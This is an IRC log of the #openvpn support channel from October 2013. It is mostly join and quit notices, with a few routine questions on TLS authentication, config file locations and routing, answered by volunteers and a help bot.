14:19 -!- Falconor [~Falconor@magnetvpn.net] has quit [Read error: Operation timed out]
14:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:28 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
14:32 -!- zhxk [~zhxk~@74.221.221.36] has joined #openvpn
14:32 -!- zhxk^ [~zhxk~@178.18.26.115] has quit [Ping timeout: 265 seconds]
14:34 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 272 seconds]
14:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:37 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
14:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Client Quit]
14:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:42 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
14:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
14:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:47 -!- Falconor [~Falconor@magnetvpn.net] has quit [Read error: Operation timed out]
14:48 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
14:49 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
14:50 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 245 seconds]
14:50 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
14:52 -!- zhxk^ [~zhxk~@173.254.227.32] has joined #openvpn
14:53 -!- zhxk [~zhxk~@74.221.221.36] has quit [Ping timeout: 248 seconds]
14:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
14:55 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 272 seconds]
14:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:00 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
15:11 -!- zhxk [~zhxk~@198.199.107.115] has joined #openvpn
15:14 -!- zhxk^ [~zhxk~@173.254.227.32] has quit [Ping timeout: 240 seconds]
15:20 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
15:22 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 272 seconds]
15:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:31 -!- zhxk` [~zhxk~@60.180.19.108] has joined #openvpn
15:31 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
15:32 -!- kyrandesa [kira@dirac.vilant.com] has quit [Quit: Changing server]
15:33 -!- zhxk^ [~zhxk~@74.221.221.36] has joined #openvpn
15:34 -!- zhxk [~zhxk~@198.199.107.115] has quit [Ping timeout: 248 seconds]
15:36 -!- zhxk` [~zhxk~@60.180.19.108] has quit [Ping timeout: 272 seconds]
15:37 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 252 seconds]
15:39 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
15:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:47 -!- moparisthebest [~quassel@cpe-184-57-178-66.cinci.res.rr.com] has joined #openvpn
15:53 -!- zhxk` [~zhxk~@173.254.227.32] has joined #openvpn
15:56 -!- zhxk^ [~zhxk~@74.221.221.36] has quit [Ping timeout: 272 seconds]
16:00 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
16:10 -!- [fred] [fred@konfuzi.us] has joined #openvpn
16:12 -!- zhxk^ [~zhxk~@60.180.19.108] has joined #openvpn
16:16 -!- zhxk` [~zhxk~@173.254.227.32] has quit [Ping timeout: 272 seconds]
16:16 -!- zhxk^ [~zhxk~@60.180.19.108] has quit [Ping timeout: 256 seconds]
16:17 -!- zhxk` [~zhxk~@198.199.107.115] has joined #openvpn
16:17 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 245 seconds]
16:20 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
16:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
16:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:33 -!- zhxk^ [~zhxk~@60.180.19.108] has joined #openvpn
16:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
16:35 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 245 seconds]
16:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
16:36 -!- mode/#openvpn [+o vpnHelper] by ChanServ
16:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
16:36 -!- zhxk` [~zhxk~@198.199.107.115] has quit [Ping timeout: 240 seconds]
16:37 -!- zhxk` [~zhxk~@178.18.26.115] has joined #openvpn
16:37 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
16:37 < crass> if using client-cert-not-required, how is the user/pass data sent back to the server securely? via a key negotiated over DH?
16:37 -!- zhxk^ [~zhxk~@60.180.19.108] has quit [Ping timeout: 240 seconds]
16:39 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:39 <+pekster> crass: It's over the TLS channel, which might use DH if you've selected a DHE-based TLS mode
16:40 <+pekster> crass: Read --tls-cipher for details on selecting one, and see also --show-tls
16:42 < crass> thanks, looks like I need to read up on some basics of tls
16:46 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:54 -!- zhxk^ [~zhxk~@60.180.19.108] has joined #openvpn
16:56 -!- zhxk` [~zhxk~@178.18.26.115] has quit [Read error: Connection reset by peer]
16:56 -!- zhxk` [~zhxk~@66.55.76.185] has joined #openvpn
16:58 -!- zhxk^ [~zhxk~@60.180.19.108] has quit [Ping timeout: 248 seconds]
17:02 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 245 seconds]
17:03 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
17:04 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
17:04 -!- novaflash is now known as novaflash_away
17:05 < crass> whats the more technical reason why client-cert-not-required is less secure? less key material from the client?
17:05 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
17:15 -!- zhxk^ [~zhxk~@60.180.19.108] has joined #openvpn
17:15 -!- mathadder [~mathadder@unaffiliated/mathadder] has joined #openvpn
17:17 -!- zhxk` [~zhxk~@66.55.76.185] has quit [Ping timeout: 240 seconds]
17:17 < mathadder> is openvpn-2.3.2 compatible with polarssl-1.3.*?
17:18 < mathadder> i had some compile issues with polarssl-1.3.0, just wondering if anyone else had the same issue?
17:21 -!- zhxk` [~zhxk~@192.200.104.27] has joined #openvpn
17:24 -!- zhxk^ [~zhxk~@60.180.19.108] has quit [Ping timeout: 256 seconds]
17:25 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 240 seconds]
17:25 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
17:30 -!- novaflash_away is now known as novaflash
17:35 -!- mathadder [~mathadder@unaffiliated/mathadder] has quit [Ping timeout: 272 seconds]
18:03 -!- andi [~andi@unaffiliated/fr00d] has quit [Read error: Operation timed out]
18:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:11 -!- buzz90 [~buzz90@ppp118-208-38-6.lns20.bne1.internode.on.net] has joined #openvpn
18:11 < buzz90> Is openvpn connect for android open source?
18:13 < buzz90> ill take that as a no
18:14 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
18:19 -!- buzz90 [~buzz90@ppp118-208-38-6.lns20.bne1.internode.on.net] has quit [Remote host closed the connection]
18:20 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 272 seconds]
18:34 -!- zhxk` [~zhxk~@192.200.104.27] has quit [Ping timeout: 245 seconds]
18:36 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
18:40 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:12 -!- u0m3 [~u0m3@92.80.97.224] has quit [Read error: Connection reset by peer]
19:16 -!- u0m3 [~u0m3@92.80.87.153] has joined #openvpn
19:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
19:25 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
19:35 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:08 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
21:23 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
21:25 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
21:36 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
21:39 -!- master_of_master [~master_of@p4FF24182.dip0.t-ipconnect.de] has joined #openvpn
21:43 -!- master_o1_master [~master_of@p4FF243DF.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
21:50 -!- AginLap [~AginLap@109.201.154.141] has quit [Read error: Operation timed out]
21:59 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
22:07 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
22:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
23:34 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Ping timeout: 240 seconds]
23:35 -!- elfixit [~Icedove@77.58.248.29] has joined #openvpn
23:38 -!- troyt [~troyt@2601:7:6d00:432:4b0:bcff:fe85:273a] has quit [Ping timeout: 264 seconds]
--- Day changed Sun Oct 20 2013
00:45 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
00:47 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
00:57 -!- eph3meral [~johncarte@71-218-30-167.hlrn.qwest.net] has joined #openvpn
00:57 < eph3meral> !welcome
00:57 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
00:57 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
00:57 < eph3meral> !goal
00:57 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
00:59 < eph3meral> I would like to connect to this PPTP VPN but only use it for the things on the VPN so it doesn't effectively block (most of) the rest of my internet access
00:59 < eph3meral> I'm in KDE on Ubuntu 13.10 and I've tried their network manager and kvpnc - I can get a connection in network manager but can't so far figure out how to unblock anything other than VPN servers
01:00 < eph3meral> I apparently connect and authenticate immediately with kvpnc but then get immediately disconnected and I have no clue why
01:01 < eph3meral> what are routes? I sort of think I understand, but I'm not sure how it's supposed to work
01:02 < eph3meral> is it automagic? am I like, effectively, magically adding a new subnet on 192.168.2.0 or do I have to somehow point my connections through 192.168.2.0 as in e.g. set a proxy in my browser or something
01:41 -!- sobersabre [~Sober@109.66.196.252] has quit [Quit: Konversation terminated!]
01:56 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds]
01:58 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 272 seconds]
02:05 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
02:05 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
02:05 -!- raidz_away is now known as raidz
02:05 -!- raidz [~raidz@raidz.im] has quit [Changing host]
02:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
02:05 -!- mode/#openvpn [+o raidz] by ChanServ
02:06 -!- mattock_afk is now known as mattock
02:06 -!- mattock [~mattock@raidz.im] has quit [Changing host]
02:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
02:06 -!- mode/#openvpn [+o mattock] by ChanServ
02:10 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 272 seconds]
02:11 -!- eph3meral [~johncarte@71-218-30-167.hlrn.qwest.net] has left #openvpn ["Leaving"]
02:14 -!- fling [~fling@fsf/member/fling] has joined #openvpn
02:23 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
02:23 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
02:25 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
02:59 -!- fling [~fling@fsf/member/fling] has quit [Read error: Connection reset by peer]
03:00 -!- fling [~fling@83.246.243.61] has joined #openvpn
03:00 -!- fling [~fling@83.246.243.61] has quit [Changing host]
03:00 -!- fling [~fling@fsf/member/fling] has joined #openvpn
03:07 -!- crus` [~crusader@2001:44b8:319e:2900:e9aa:c485:e585:3ce2] has joined #openvpn
03:11 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has quit [Ping timeout: 260 seconds]
03:20 -!- atari_ [~chatzilla@c-68-36-45-196.hsd1.nj.comcast.net] has joined #openvpn
03:22 < atari_> I was following this guide http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html , and it tells me how to setup up the two config files, but it doesn't tell me where the config files are supposed to be located. Would need to know where they go for both linux and windows.
03:22 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
03:23 <+pekster> You can locate them anywhere you wish atari_
03:23 <+pekster> If you're expecting to GUI to pick up on them, read !gui
03:24 <+pekster> If you expect your distro to magically deal with them, consult your distro docs on how your initscript works (often they search /etc/openvpn/ for any "*.conf" files but your distro may vary)
03:24 <+pekster> If you start them from a command line, read the --config option in the manpage (see: !man)
03:26 < atari_> That would be the first option from --help, probably should have thought of that first. I'm running gentoo and could not find any example config files anywhere, tried find / | grep openvpn. However I did see examples on the wiki.
03:27 <+pekster> gentoo's initscript also searches /etc/openvpn/ for *.conf files as is customary
03:27 <+pekster> They do small weirdness like automatically adding in --user and --group _unless_ you're using --remote with no apparent way to turn that crap off unless you use `--user root` `--group root` in your config
03:27 <+pekster> Complain to downstream if this bugs you
03:29 <+pekster> /etc/init.d/openvpn in gentoo sets VPNCONF="${VPNDIR}/${VPN}.conf" with VPNDIR defaulting to /etc/openvpn
03:29 <+pekster> ie: /etc/init.d/openvpn.my will try to start /etc/openvpn/my.conf
03:29 <+pekster> (symlink it in the standard way)
03:29 <+pekster> #gentoo for details
03:32 < atari_> I think I have it all setup good and openvpn started fine now. Now I just need to do client side on linux/windows, I'll figure it out. Thanks.
03:33 <+pekster> If you're not wanting to use the launch-from-command-prompt method on Windows (who does?) see:
03:33 <+pekster> !gui
03:33 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
03:33 <+pekster> The (#1) link there has step-by-step info w/ screenshots for Windows
03:54 < atari_> Everything worked. This was actually much easier than pptpd. Thanks again.
03:55 <+pekster> And actually secure ;)
03:55 <+pekster> pptp is full of fail: cloudcracker.org
05:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:03 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
05:06 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
05:18 -!- wallbroken [~wallbroke@151.56.246.53] has joined #openvpn
05:18 < wallbroken> hi
05:18 < wallbroken> i need an openvpn server like vpnbook, but from USA
05:18 < wallbroken> I need to ged an USA IP
05:18 < wallbroken> to get access to some multimedia content restricted by country
05:19 < wallbroken> do you know some of them?
05:22 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:35 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:40 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
05:43 -!- wallbroken [~wallbroke@151.56.246.53] has quit [Ping timeout: 248 seconds]
06:06 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
06:27 -!- AginLap [~AginLap@109.201.154.139] has joined #openvpn
06:29 -!- wallbroken [~wallbroke@151.56.246.53] has joined #openvpn
06:39 -!- atari_ [~chatzilla@c-68-36-45-196.hsd1.nj.comcast.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910201120]]
06:43 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Read error: Operation timed out]
06:44 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 264 seconds]
06:46 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
06:48 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
07:02 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
07:03 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
07:32 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
07:42 -!- djh02 [~x@ip103.216-37-89.PNeT.Ro] has joined #openvpn
07:43 < djh02> hello, i have a setup going and i get disconnected every now and then without being able to reconnect.
07:44 < djh02> the client gets a resolver error upon atempting reconection (on ping-restart)
07:47 < djh02> !welcome
07:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:48 < djh02> !paste
07:48 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
07:48 < djh02> !configs
07:48 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:49 < djh02> server runs OpenVPN 2.2.1 x86_64-linux-gnu
07:49 < djh02> client runs OpenVPN 2.3.2 x86_64-w64-mingw32
07:49 < djh02> problem in detail posted on https://forums.openvpn.net/topic14116.html
07:49 <@vpnHelper> Title: OpenVPN Support Forum openvpn ping-restart on client timeout not resolving server : Server Administration (at forums.openvpn.net)
08:00 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:28 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
09:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:36 -!- elfixit [~Icedove@77.58.248.29] has quit [Ping timeout: 240 seconds]
09:36 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
09:57 -!- djh02 [~x@ip103.216-37-89.PNeT.Ro] has quit [Quit: Leaving.]
10:03 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
10:31 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
10:33 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
10:35 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
10:36 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:37 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
10:40 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
10:42 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
10:46 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
10:48 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
11:16 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Read error: Operation timed out]
11:18 -!- trumee [~parul@149.12.7.18] has quit [Read error: Connection reset by peer]
11:18 -!- Fetch [fetch@gimel.cepheid.org] has quit [Read error: Connection reset by peer]
11:22 -!- Fetch [fetch@gimel.cepheid.org] has joined #openvpn
11:23 -!- trumee [~parul@185.11.39.191] has joined #openvpn
11:25 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
11:28 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
11:28 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Disconnected by services]
11:29 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
11:30 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Disconnected by services]
11:31 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
11:34 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Disconnected by services]
11:34 -!- AginLap_ [~AginLap@109.201.154.151] has joined #openvpn
11:34 -!- AginLap [~AginLap@109.201.154.139] has quit [Ping timeout: 272 seconds]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:35 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
11:37 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Disconnected by services]
11:48 -!- AginLap_ is now known as AginLap
11:58 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Ping timeout: 240 seconds]
11:59 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
12:23 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
12:34 -!- trumee [~parul@185.11.39.191] has quit [Ping timeout: 248 seconds]
12:49 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
12:52 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:52 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
13:04 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
13:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
13:13 -!- trumee [~parul@185.11.39.191] has joined #openvpn
13:14 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:20 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
13:21 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
13:27 -!- atmosx [~osx@217.70.broadband4.iol.cz] has joined #openvpn
13:36 -!- trumee [~parul@185.11.39.191] has quit [Read error: No route to host]
13:36 -!- trumee_ [~parul@185.11.39.191] has joined #openvpn
13:40 -!- RichiH is now known as RichiH-linuxcon-
13:40 -!- RichiH-linuxcon- is now known as RichiH-linuxcon
13:43 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
13:53 -!- wallbroken [~wallbroke@151.56.246.53] has quit [Ping timeout: 240 seconds]
13:54 -!- wallbroken [~wallbroke@151.72.3.242] has joined #openvpn
14:29 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Remote host closed the connection]
14:30 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:38 -!- atmosx [~osx@217.70.broadband4.iol.cz] has quit [Quit: Lost in trance]
14:39 -!- [fred] [fred@konfuzi.us] has quit [Remote host closed the connection]
14:50 -!- [fred] [fred@konfuzi.us] has joined #openvpn
14:53 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
14:53 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
14:54 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has joined #openvpn
15:19 -!- elfixit [~Icedove@adsl-178-38-122-123.adslplus.ch] has quit [Ping timeout: 272 seconds]
15:20 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 265 seconds]
15:21 -!- elfixit [~Icedove@adsl-84-226-185-113.adslplus.ch] has joined #openvpn
15:22 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
15:30 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 265 seconds]
15:31 -!- elfixit [~Icedove@adsl-84-226-185-113.adslplus.ch] has quit [Quit: elfixit]
15:32 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
15:32 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
15:38 -!- deever [~deever@78.46.68.172] has joined #openvpn
15:38 < deever> hi
15:39 < deever> is there a way to run multiple VPNs on one server?
15:39 < deever> one server process, i mean
15:50 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
15:51 -!- AginLap [~AginLap@109.201.154.151] has quit [Quit: Leaving]
15:55 -!- elfixit [~Icedove@82.197.179.16] has joined #openvpn
16:10 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:16 -!- ShapeShifter499 [ShapeShift@gateway/shell/panicbnc/x-onifbwbzaepsvtsw] has quit [Quit: Something has gone terribly wrong!... Bnc/Znc  services restarting in 4...3...2...1...]
16:17 -!- abyss [~abyss@i-free.pl] has quit [Read error: No route to host]
16:33 -!- atmosx [~osx@217.70.broadband4.iol.cz] has joined #openvpn
16:37 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
16:45 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
16:47 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
17:01 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:16 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
17:19 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Read error: Operation timed out]
17:24 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
17:30 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
17:31 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 260 seconds]
17:34 -!- atmosx [~osx@217.70.broadband4.iol.cz] has quit [Quit: Lost in trance]
17:38 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
18:22 <+pekster> deever: Each config file requires its own process
18:38 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:31 < wallbroken> pekster, do u know some method to store user account directly in configuration file?
19:31 < wallbroken> i used auth-user-pass password.txt
19:32 < wallbroken> but i'd like to store user directly in configuration file
19:32 < wallbroken> and only password in password.txt
19:32 <+pekster> Going for a non-sequitur award are we?
19:34 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
19:36 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 248 seconds]
19:45 -!- thumbs [~avenger@unaffiliated/thumbs] has quit [Quit: leaving]
20:18 -!- thumbs [~frank@modemcable137.138-81-70.mc.videotron.ca] has joined #openvpn
20:18 -!- thumbs [~frank@modemcable137.138-81-70.mc.videotron.ca] has quit [Changing host]
20:18 -!- thumbs [~frank@unaffiliated/thumbs] has joined #openvpn
20:18 -!- thumbs [~frank@unaffiliated/thumbs] has quit [Client Quit]
20:19 -!- thumbs [~frank@unaffiliated/thumbs] has joined #openvpn
20:22 -!- thumbs [~frank@unaffiliated/thumbs] has quit [Client Quit]
21:09 -!- Tera [~tera@unaffiliated/tera] has quit [Read error: Connection reset by peer]
21:09 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
21:27 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
21:39 -!- master_o1_master [~master_of@p4FF24090.dip0.t-ipconnect.de] has joined #openvpn
21:43 -!- master_of_master [~master_of@p4FF24182.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
